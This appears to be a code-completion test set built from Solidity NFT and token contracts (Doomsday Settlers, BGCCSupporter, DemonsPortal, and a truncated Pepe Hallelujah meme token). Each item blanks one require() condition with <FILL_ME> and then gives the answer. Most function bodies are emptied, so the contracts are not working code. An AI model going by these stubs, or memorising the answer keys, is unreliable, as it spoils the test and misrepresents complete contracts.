} function tokenURI(uint256 _tokenId) external view returns (string memory){ } function totalSupply() external view returns (uint256){ } ///==End 721 ///////===165 Implementation mapping (bytes4 => bool) public supportsInterface; ///==End 165 //// ==== Admin function _onlyOwner() private view{ } function _onlyCreator() private view{ } function setOwner(address newOwner) external { } function setMetadata(address _metadata) external { } function creatorWithdraw() external { } function setCreator(address newCreator) external { } //OPERATOR FILTER IDoomsdaySettlersBlacklist blacklist; function _noBlocked(address _addr) private view{ } // function tryCatchExternalCall(uint _i) public { // try foo.myFunc(_i) returns (string memory result) { // emit Log(result); // } catch { // emit Log("external call failed"); // } // } function setBlacklist(address _newBlacklist) external{ } }
!IDoomsdaySettlersDarkAge(DARK_AGE).checkVulnerable(uint32(_tokenId)),"vulnerable"
435,512
!IDoomsdaySettlersDarkAge(DARK_AGE).checkVulnerable(uint32(_tokenId))
"receiver"
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.21; import "./interfaces/IERC721TokenReceiver.sol"; import "./interfaces/IDoomsdaySettlersDarkAge.sol"; import "./interfaces/IDoomsdaySettlersMetadata.sol"; import "./interfaces/IDoomsdaySettlersBlacklist.sol"; contract DoomsdaySettlersV2 { struct Settlement{ uint32 settleBlock; uint24 supplyAtMint; uint16 age; uint8 settlementType; uint80 relics; uint80 supplies; } uint80 constant CREATOR_PERCENT = 15; uint80 constant DESTRUCTION_FEE = 0.01 ether; uint80 constant DAMAGE_FEE = 0.008 ether; uint80 constant REINFORCE_PERCENT_WINNER = 85; uint80 constant REINFORCE_PERCENT_CREATOR = 15; uint256 constant BLOCK_TIME = 12 seconds; uint256 constant DISASTER_BLOCK_INTERVAL = 75; uint256 immutable BASE_DIFFICULTY; uint256 immutable DIFFICULTY_RAMP; uint256 immutable DIFFICULTY_COOLDOWN; uint256 immutable DIFFICULTY_COOLDOWN_SLOPE; address immutable DARK_AGE; uint256 immutable COLLAPSE_INITIAL; uint256 immutable COLLAPSE_RAMP; uint256 immutable COLLAPSE_MIN; uint16 age = 2; uint32 firstSettlement; uint32 abandoned; bool itIsTheDawnOfANewAge; address public owner; address creator; uint80 supplies; uint80 relics; uint80 mintFee; uint80 creatorEarnings; bytes32[] hashes; uint32[] public destroyed; mapping( uint32 => Settlement) public settlements; event Settle(uint32 _tokenId, bytes32 _hash, address _settler, uint24 _newSupply, uint80 _newMintFee, uint32 _collapseBlock, uint8 _settlementType, address indexed _data, uint32 _blockNumber); event Abandon(uint32 indexed _tokenId, bytes32 _hash, uint80 _growth, uint24 _supplyAtMint, uint32 _newAbandoned, uint80 _newMintFee, uint80 _eth, uint32 _settled, bool _itIsTheDawnOfANewAge, uint32 _blockNumber); event Reinforce(uint32 indexed _tokenId, uint8 _type); event Disaster(uint32 indexed _tokenId, uint8 _type, bool _destroyed, bool _darkAgeOver); constructor( address _darkAge, uint256 _BASE_DIFFICULTY, uint256 _DIFFICULTY_RAMP, uint256 _DIFFICULTY_COOLDOWN, uint256 _DIFFICULTY_COOLDOWN_SLOPE, uint256 _COLLAPSE_INITIAL, uint256 _COLLAPSE_RAMP, uint256 _COLLAPSE_MIN ) payable { } function _settle(uint32 tokenId, bytes32 _hash, uint32 index, uint supply, uint32 collapseBlock, address data) internal returns(uint cost){ } function settle(uint256 location, uint8 count, address data) external payable { } function abandon(uint32[] calldata _tokenIds, uint32 _data) external { } function confirmDisaster(uint32 _tokenId, uint32 _data) external { } function reinforce(uint32 _tokenId, bool[4] memory _resources) external payable{ } function miningState() external view returns( bytes32 _lastHash, uint32 _settled, uint32 _abandoned, uint32 _lastSettleBlock, uint32 _collapseBlock, uint80 _mintFee, uint256 _blockNumber ){ } function currentState() external view returns( bool _itIsTheDawnOfANewAge, uint32 _firstSettlement, uint16 _age, uint80 _creatorEarnings, uint80 _relics, uint80 _supplies, uint256 _blockNumber ){ } function settlementType(bytes32 hash, uint256 _supplyAtMint) public pure returns(uint256){ } function isDarkAge() public view returns(bool){ } function hashOf(uint32 _tokenId) public view returns(bytes32){ } function _processWinner(uint32 _winner) private{ } function _abandon(uint32 _tokenId, uint32 _data) private returns(uint256){ } //////===721 Standard event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); //////===721 Implementation mapping(address => uint256) public balanceOf; mapping (uint256 => address) internal allowance; mapping (address => mapping (address => bool)) public isApprovedForAll; mapping(uint256 => address) owners; // METADATA VARS string constant public name = "Doomsday: Settlers of the Wasteland"; string constant public symbol = "SETTLEMENT"; address private __metadata; function _mint(uint256 _tokenId,address _to, bytes32 _hash) private{ } function _burn(uint256 _tokenId) private{ } function _isValidToken(uint256 _tokenId) internal view returns(bool){ } function ownerOf(uint256 _tokenId) public view returns(address){ } function approve(address _approved, uint256 _tokenId) external{ } function getApproved(uint256 _tokenId) external view returns (address) { } function setApprovalForAll(address _operator, bool _approved) external { } function transferFrom(address _from, address _to, uint256 _tokenId) public { } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) public { transferFrom(_from, _to, _tokenId); uint32 size; assembly { size := extcodesize(_to) } if(size != 0){ IERC721TokenReceiver receiver = IERC721TokenReceiver(_to); require(<FILL_ME>) } } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { } function tokenURI(uint256 _tokenId) external view returns (string memory){ } function totalSupply() external view returns (uint256){ } ///==End 721 ///////===165 Implementation mapping (bytes4 => bool) public supportsInterface; ///==End 165 //// ==== Admin function _onlyOwner() private view{ } function _onlyCreator() private view{ } function setOwner(address newOwner) external { } function setMetadata(address _metadata) external { } function creatorWithdraw() external { } function setCreator(address newCreator) external { } //OPERATOR FILTER IDoomsdaySettlersBlacklist blacklist; function _noBlocked(address _addr) private view{ } // function tryCatchExternalCall(uint _i) public { // try foo.myFunc(_i) returns (string memory result) { // emit Log(result); // } catch { // emit Log("external call failed"); // } // } function setBlacklist(address _newBlacklist) external{ } }
receiver.onERC721Received(msg.sender,_from,_tokenId,data)==bytes4(0x150b7a02),"receiver"
435,512
receiver.onERC721Received(msg.sender,_from,_tokenId,data)==bytes4(0x150b7a02)
"Allow List Mint Closed"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract BGCCSupporter is ERC1155, DefaultOperatorFilterer, EIP712, Ownable { using SafeMath for uint256; using Counters for Counters.Counter; string private constant SIGNING_DOMAIN = "BGCCSUPPORTER"; string private constant SIGNATURE_VERSION = "1"; mapping(uint256 => string) private _uris; mapping (string => bool) public redeemed; mapping(bytes32 => bool) private signaturesUsed; uint256 public totalTokens; uint256 public maxPerToken = 100; uint256 public maxPerMint = 5; address public signatureSigner = 0x0eD61e354A47FEB7016Af01d2C39FDB93cef7f4B; uint256 public mintPrice; mapping(uint256 => uint256) public tokenMinted; Counters.Counter private _countTracker; string public name; string public symbol; address public multiSigOwner; constructor( string memory _name, string memory _symbol, address _multiSigOwner ) ERC1155("") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) { } function totalMinted() public view returns (uint256) { } function setMultiSig(address _multiSig) public onlyOwner { } function setPrice(uint256 _price) public onlyOwner { } function getTokenSupply(uint256 tokenId) public view returns (uint256) { } function uri(uint256 tokenId) override public view returns (string memory) { } function setTokenURI(uint256 tokenId, string memory tokenUri) public onlyOwner { } function generateToken( string memory tokenUri ) public onlyOwner { } function ownerMint(address _to, uint256 tokenId, uint256 _count) public onlyOwner { } //the first 100 - Ownermint, 101 - 250 Allowlist, and then 251 - 400 is set Price function mintAllowList(uint256 tokenId, string memory claimId, bytes32 hash, uint8 v, bytes32 r, bytes32 s) public payable { uint256 availableTokens = maxPerToken - tokenMinted[tokenId]; require(<FILL_ME>) require(availableTokens >= 1, "Not Enough Tokens Supply"); require(ecr(hash, v, r, s) == signatureSigner, "Signature invalid"); require(!redeemed[claimId], "Already redeemed"); require(!signaturesUsed[hash], "Hash Already Used"); redeemed[claimId] = true; signaturesUsed[hash] = true; _mintOneItem(msg.sender, tokenId); } function mint(uint256 tokenId, uint256 _count) external payable { } function _mintOneItem(address _to, uint256 tokenId) private { } function ecr(bytes32 msgh, uint8 v, bytes32 r, bytes32 s) public pure returns (address sender) { } function withdrawAll() public onlyOwner { } function _withdraw(address _address, uint256 _amount) private { } //opensea functions function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data) public override onlyAllowedOperator(from) { } function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override onlyAllowedOperator(from) { } }
_countTracker.current()<250,"Allow List Mint Closed"
435,578
_countTracker.current()<250
"Signature invalid"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract BGCCSupporter is ERC1155, DefaultOperatorFilterer, EIP712, Ownable { using SafeMath for uint256; using Counters for Counters.Counter; string private constant SIGNING_DOMAIN = "BGCCSUPPORTER"; string private constant SIGNATURE_VERSION = "1"; mapping(uint256 => string) private _uris; mapping (string => bool) public redeemed; mapping(bytes32 => bool) private signaturesUsed; uint256 public totalTokens; uint256 public maxPerToken = 100; uint256 public maxPerMint = 5; address public signatureSigner = 0x0eD61e354A47FEB7016Af01d2C39FDB93cef7f4B; uint256 public mintPrice; mapping(uint256 => uint256) public tokenMinted; Counters.Counter private _countTracker; string public name; string public symbol; address public multiSigOwner; constructor( string memory _name, string memory _symbol, address _multiSigOwner ) ERC1155("") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) { } function totalMinted() public view returns (uint256) { } function setMultiSig(address _multiSig) public onlyOwner { } function setPrice(uint256 _price) public onlyOwner { } function getTokenSupply(uint256 tokenId) public view returns (uint256) { } function uri(uint256 tokenId) override public view returns (string memory) { } function setTokenURI(uint256 tokenId, string memory tokenUri) public onlyOwner { } function generateToken( string memory tokenUri ) public onlyOwner { } function ownerMint(address _to, uint256 tokenId, uint256 _count) public onlyOwner { } //the first 100 - Ownermint, 101 - 250 Allowlist, and then 251 - 400 is set Price function mintAllowList(uint256 tokenId, string memory claimId, bytes32 hash, uint8 v, bytes32 r, bytes32 s) public payable { uint256 availableTokens = maxPerToken - tokenMinted[tokenId]; require(_countTracker.current() < 250, "Allow List Mint Closed"); require(availableTokens >= 1, "Not Enough Tokens Supply"); require(<FILL_ME>) require(!redeemed[claimId], "Already redeemed"); require(!signaturesUsed[hash], "Hash Already Used"); redeemed[claimId] = true; signaturesUsed[hash] = true; _mintOneItem(msg.sender, tokenId); } function mint(uint256 tokenId, uint256 _count) external payable { } function _mintOneItem(address _to, uint256 tokenId) private { } function ecr(bytes32 msgh, uint8 v, bytes32 r, bytes32 s) public pure returns (address sender) { } function withdrawAll() public onlyOwner { } function _withdraw(address _address, uint256 _amount) private { } //opensea functions function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data) public override onlyAllowedOperator(from) { } function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override onlyAllowedOperator(from) { } }
ecr(hash,v,r,s)==signatureSigner,"Signature invalid"
435,578
ecr(hash,v,r,s)==signatureSigner
"Already redeemed"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract BGCCSupporter is ERC1155, DefaultOperatorFilterer, EIP712, Ownable { using SafeMath for uint256; using Counters for Counters.Counter; string private constant SIGNING_DOMAIN = "BGCCSUPPORTER"; string private constant SIGNATURE_VERSION = "1"; mapping(uint256 => string) private _uris; mapping (string => bool) public redeemed; mapping(bytes32 => bool) private signaturesUsed; uint256 public totalTokens; uint256 public maxPerToken = 100; uint256 public maxPerMint = 5; address public signatureSigner = 0x0eD61e354A47FEB7016Af01d2C39FDB93cef7f4B; uint256 public mintPrice; mapping(uint256 => uint256) public tokenMinted; Counters.Counter private _countTracker; string public name; string public symbol; address public multiSigOwner; constructor( string memory _name, string memory _symbol, address _multiSigOwner ) ERC1155("") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) { } function totalMinted() public view returns (uint256) { } function setMultiSig(address _multiSig) public onlyOwner { } function setPrice(uint256 _price) public onlyOwner { } function getTokenSupply(uint256 tokenId) public view returns (uint256) { } function uri(uint256 tokenId) override public view returns (string memory) { } function setTokenURI(uint256 tokenId, string memory tokenUri) public onlyOwner { } function generateToken( string memory tokenUri ) public onlyOwner { } function ownerMint(address _to, uint256 tokenId, uint256 _count) public onlyOwner { } //the first 100 - Ownermint, 101 - 250 Allowlist, and then 251 - 400 is set Price function mintAllowList(uint256 tokenId, string memory claimId, bytes32 hash, uint8 v, bytes32 r, bytes32 s) public payable { uint256 availableTokens = maxPerToken - tokenMinted[tokenId]; require(_countTracker.current() < 250, "Allow List Mint Closed"); require(availableTokens >= 1, "Not Enough Tokens Supply"); require(ecr(hash, v, r, s) == signatureSigner, "Signature invalid"); require(<FILL_ME>) require(!signaturesUsed[hash], "Hash Already Used"); redeemed[claimId] = true; signaturesUsed[hash] = true; _mintOneItem(msg.sender, tokenId); } function mint(uint256 tokenId, uint256 _count) external payable { } function _mintOneItem(address _to, uint256 tokenId) private { } function ecr(bytes32 msgh, uint8 v, bytes32 r, bytes32 s) public pure returns (address sender) { } function withdrawAll() public onlyOwner { } function _withdraw(address _address, uint256 _amount) private { } //opensea functions function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data) public override onlyAllowedOperator(from) { } function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override onlyAllowedOperator(from) { } }
!redeemed[claimId],"Already redeemed"
435,578
!redeemed[claimId]
"Hash Already Used"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "operator-filter-registry/src/DefaultOperatorFilterer.sol"; contract BGCCSupporter is ERC1155, DefaultOperatorFilterer, EIP712, Ownable { using SafeMath for uint256; using Counters for Counters.Counter; string private constant SIGNING_DOMAIN = "BGCCSUPPORTER"; string private constant SIGNATURE_VERSION = "1"; mapping(uint256 => string) private _uris; mapping (string => bool) public redeemed; mapping(bytes32 => bool) private signaturesUsed; uint256 public totalTokens; uint256 public maxPerToken = 100; uint256 public maxPerMint = 5; address public signatureSigner = 0x0eD61e354A47FEB7016Af01d2C39FDB93cef7f4B; uint256 public mintPrice; mapping(uint256 => uint256) public tokenMinted; Counters.Counter private _countTracker; string public name; string public symbol; address public multiSigOwner; constructor( string memory _name, string memory _symbol, address _multiSigOwner ) ERC1155("") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) { } function totalMinted() public view returns (uint256) { } function setMultiSig(address _multiSig) public onlyOwner { } function setPrice(uint256 _price) public onlyOwner { } function getTokenSupply(uint256 tokenId) public view returns (uint256) { } function uri(uint256 tokenId) override public view returns (string memory) { } function setTokenURI(uint256 tokenId, string memory tokenUri) public onlyOwner { } function generateToken( string memory tokenUri ) public onlyOwner { } function ownerMint(address _to, uint256 tokenId, uint256 _count) public onlyOwner { } //the first 100 - Ownermint, 101 - 250 Allowlist, and then 251 - 400 is set Price function mintAllowList(uint256 tokenId, string memory claimId, bytes32 hash, uint8 v, bytes32 r, bytes32 s) public payable { uint256 availableTokens = maxPerToken - tokenMinted[tokenId]; require(_countTracker.current() < 250, "Allow List Mint Closed"); require(availableTokens >= 1, "Not Enough Tokens Supply"); require(ecr(hash, v, r, s) == signatureSigner, "Signature invalid"); require(!redeemed[claimId], "Already redeemed"); require(<FILL_ME>) redeemed[claimId] = true; signaturesUsed[hash] = true; _mintOneItem(msg.sender, tokenId); } function mint(uint256 tokenId, uint256 _count) external payable { } function _mintOneItem(address _to, uint256 tokenId) private { } function ecr(bytes32 msgh, uint8 v, bytes32 r, bytes32 s) public pure returns (address sender) { } function withdrawAll() public onlyOwner { } function _withdraw(address _address, uint256 _amount) private { } //opensea functions function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) { } function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data) public override onlyAllowedOperator(from) { } function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override onlyAllowedOperator(from) { } }
!signaturesUsed[hash],"Hash Already Used"
435,578
!signaturesUsed[hash]
"You must own the requested Demon token."
// SPDX-License-Identifier: MIT pragma solidity 0.8.6; import "@openzeppelin/contracts/access/Ownable.sol"; interface IERC721 { /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) external; } contract DemonsPortal is Ownable { event SendThroughPortalEvent(address from, uint demonId, uint buernedHellId, uint keyId); // Contracts IERC721 private hell; IERC721 private keys; // Hells ducks that were turned into demons mapping(uint256 => bool) private _demonIds; // Burner address address private _burnerAddress = 0x000000000000000000000000000000000000dEaD; bool private _isPortalActive = false; constructor(address hellAddress, address keyAddress) { } function sendThroughPortal(uint256 demonId, uint256 hellId, uint256 keyId) public { require(_isPortalActive, "Portal is not active."); require(demonId != hellId, "The tokens must be different"); require(<FILL_ME>) require(hell.ownerOf(hellId) == msg.sender, "You must own the requested Hell token."); require(keys.ownerOf(keyId) == msg.sender, "You must own the requested Key token."); require(!_demonIds[demonId], "Hell duck was already transformed into a demon"); // Burn Tokens hell.safeTransferFrom(msg.sender, _burnerAddress, hellId); keys.burn(keyId); // Mark the 2 Gen as used _demonIds[demonId] = true; emit SendThroughPortalEvent(msg.sender, demonId, hellId, keyId); } function flipPortalState() public onlyOwner { } function setBurnerAddress(address newBurnerAddress) public onlyOwner { } function burnerAddress() public view returns (address) { } function isDemon(uint256 demonId) public view returns (bool) { } function isPortalActive() public view returns (bool) { } function setDemonIds(uint256[] memory demonIds) onlyOwner public { } function removeDemonIds(uint256[] memory demonIds) onlyOwner public { } }
hell.ownerOf(demonId)==msg.sender,"You must own the requested Demon token."
435,833
hell.ownerOf(demonId)==msg.sender
"You must own the requested Hell token."
// SPDX-License-Identifier: MIT pragma solidity 0.8.6; import "@openzeppelin/contracts/access/Ownable.sol"; interface IERC721 { /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) external; } contract DemonsPortal is Ownable { event SendThroughPortalEvent(address from, uint demonId, uint buernedHellId, uint keyId); // Contracts IERC721 private hell; IERC721 private keys; // Hells ducks that were turned into demons mapping(uint256 => bool) private _demonIds; // Burner address address private _burnerAddress = 0x000000000000000000000000000000000000dEaD; bool private _isPortalActive = false; constructor(address hellAddress, address keyAddress) { } function sendThroughPortal(uint256 demonId, uint256 hellId, uint256 keyId) public { require(_isPortalActive, "Portal is not active."); require(demonId != hellId, "The tokens must be different"); require(hell.ownerOf(demonId) == msg.sender, "You must own the requested Demon token."); require(<FILL_ME>) require(keys.ownerOf(keyId) == msg.sender, "You must own the requested Key token."); require(!_demonIds[demonId], "Hell duck was already transformed into a demon"); // Burn Tokens hell.safeTransferFrom(msg.sender, _burnerAddress, hellId); keys.burn(keyId); // Mark the 2 Gen as used _demonIds[demonId] = true; emit SendThroughPortalEvent(msg.sender, demonId, hellId, keyId); } function flipPortalState() public onlyOwner { } function setBurnerAddress(address newBurnerAddress) public onlyOwner { } function burnerAddress() public view returns (address) { } function isDemon(uint256 demonId) public view returns (bool) { } function isPortalActive() public view returns (bool) { } function setDemonIds(uint256[] memory demonIds) onlyOwner public { } function removeDemonIds(uint256[] memory demonIds) onlyOwner public { } }
hell.ownerOf(hellId)==msg.sender,"You must own the requested Hell token."
435,833
hell.ownerOf(hellId)==msg.sender
"You must own the requested Key token."
// SPDX-License-Identifier: MIT pragma solidity 0.8.6; import "@openzeppelin/contracts/access/Ownable.sol"; interface IERC721 { /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) external; } contract DemonsPortal is Ownable { event SendThroughPortalEvent(address from, uint demonId, uint buernedHellId, uint keyId); // Contracts IERC721 private hell; IERC721 private keys; // Hells ducks that were turned into demons mapping(uint256 => bool) private _demonIds; // Burner address address private _burnerAddress = 0x000000000000000000000000000000000000dEaD; bool private _isPortalActive = false; constructor(address hellAddress, address keyAddress) { } function sendThroughPortal(uint256 demonId, uint256 hellId, uint256 keyId) public { require(_isPortalActive, "Portal is not active."); require(demonId != hellId, "The tokens must be different"); require(hell.ownerOf(demonId) == msg.sender, "You must own the requested Demon token."); require(hell.ownerOf(hellId) == msg.sender, "You must own the requested Hell token."); require(<FILL_ME>) require(!_demonIds[demonId], "Hell duck was already transformed into a demon"); // Burn Tokens hell.safeTransferFrom(msg.sender, _burnerAddress, hellId); keys.burn(keyId); // Mark the 2 Gen as used _demonIds[demonId] = true; emit SendThroughPortalEvent(msg.sender, demonId, hellId, keyId); } function flipPortalState() public onlyOwner { } function setBurnerAddress(address newBurnerAddress) public onlyOwner { } function burnerAddress() public view returns (address) { } function isDemon(uint256 demonId) public view returns (bool) { } function isPortalActive() public view returns (bool) { } function setDemonIds(uint256[] memory demonIds) onlyOwner public { } function removeDemonIds(uint256[] memory demonIds) onlyOwner public { } }
keys.ownerOf(keyId)==msg.sender,"You must own the requested Key token."
435,833
keys.ownerOf(keyId)==msg.sender
"Hell duck was already transformed into a demon"
// SPDX-License-Identifier: MIT pragma solidity 0.8.6; import "@openzeppelin/contracts/access/Ownable.sol"; interface IERC721 { /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) external; } contract DemonsPortal is Ownable { event SendThroughPortalEvent(address from, uint demonId, uint buernedHellId, uint keyId); // Contracts IERC721 private hell; IERC721 private keys; // Hells ducks that were turned into demons mapping(uint256 => bool) private _demonIds; // Burner address address private _burnerAddress = 0x000000000000000000000000000000000000dEaD; bool private _isPortalActive = false; constructor(address hellAddress, address keyAddress) { } function sendThroughPortal(uint256 demonId, uint256 hellId, uint256 keyId) public { require(_isPortalActive, "Portal is not active."); require(demonId != hellId, "The tokens must be different"); require(hell.ownerOf(demonId) == msg.sender, "You must own the requested Demon token."); require(hell.ownerOf(hellId) == msg.sender, "You must own the requested Hell token."); require(keys.ownerOf(keyId) == msg.sender, "You must own the requested Key token."); require(<FILL_ME>) // Burn Tokens hell.safeTransferFrom(msg.sender, _burnerAddress, hellId); keys.burn(keyId); // Mark the 2 Gen as used _demonIds[demonId] = true; emit SendThroughPortalEvent(msg.sender, demonId, hellId, keyId); } function flipPortalState() public onlyOwner { } function setBurnerAddress(address newBurnerAddress) public onlyOwner { } function burnerAddress() public view returns (address) { } function isDemon(uint256 demonId) public view returns (bool) { } function isPortalActive() public view returns (bool) { } function setDemonIds(uint256[] memory demonIds) onlyOwner public { } function removeDemonIds(uint256[] memory demonIds) onlyOwner public { } }
!_demonIds[demonId],"Hell duck was already transformed into a demon"
435,833
!_demonIds[demonId]
null
/** Pepe Hallelujah The Grateful Pepe shall prosper. Introducing Pepe Hallelujah, as the bearer of blessing. From hundreds of varieties of Pepe meme, only Pepe Hallelujah are chosen. Believe and be the part of Pepe Hallelujah and you shall receive rewards. Telegram : https://t.me/pepehallelujahportal Website : https://pepehallelujah.com/ Twitter : https://twitter.com/pepehallelujah **/ // SPDX-License-Identifier: MIT pragma solidity 0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PepeHallelujah is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _mktWallet; uint256 firstBlock; uint256 private _initialBuyFee=22; uint256 private _initialSellFee=22; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=20; uint256 private _reduceSellTaxAt=30; uint256 private _preventSwapBefore=20; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Pepe Hallelujah"; string private constant _symbol = unicode"PELUJAH"; uint256 public _maxTxAmount 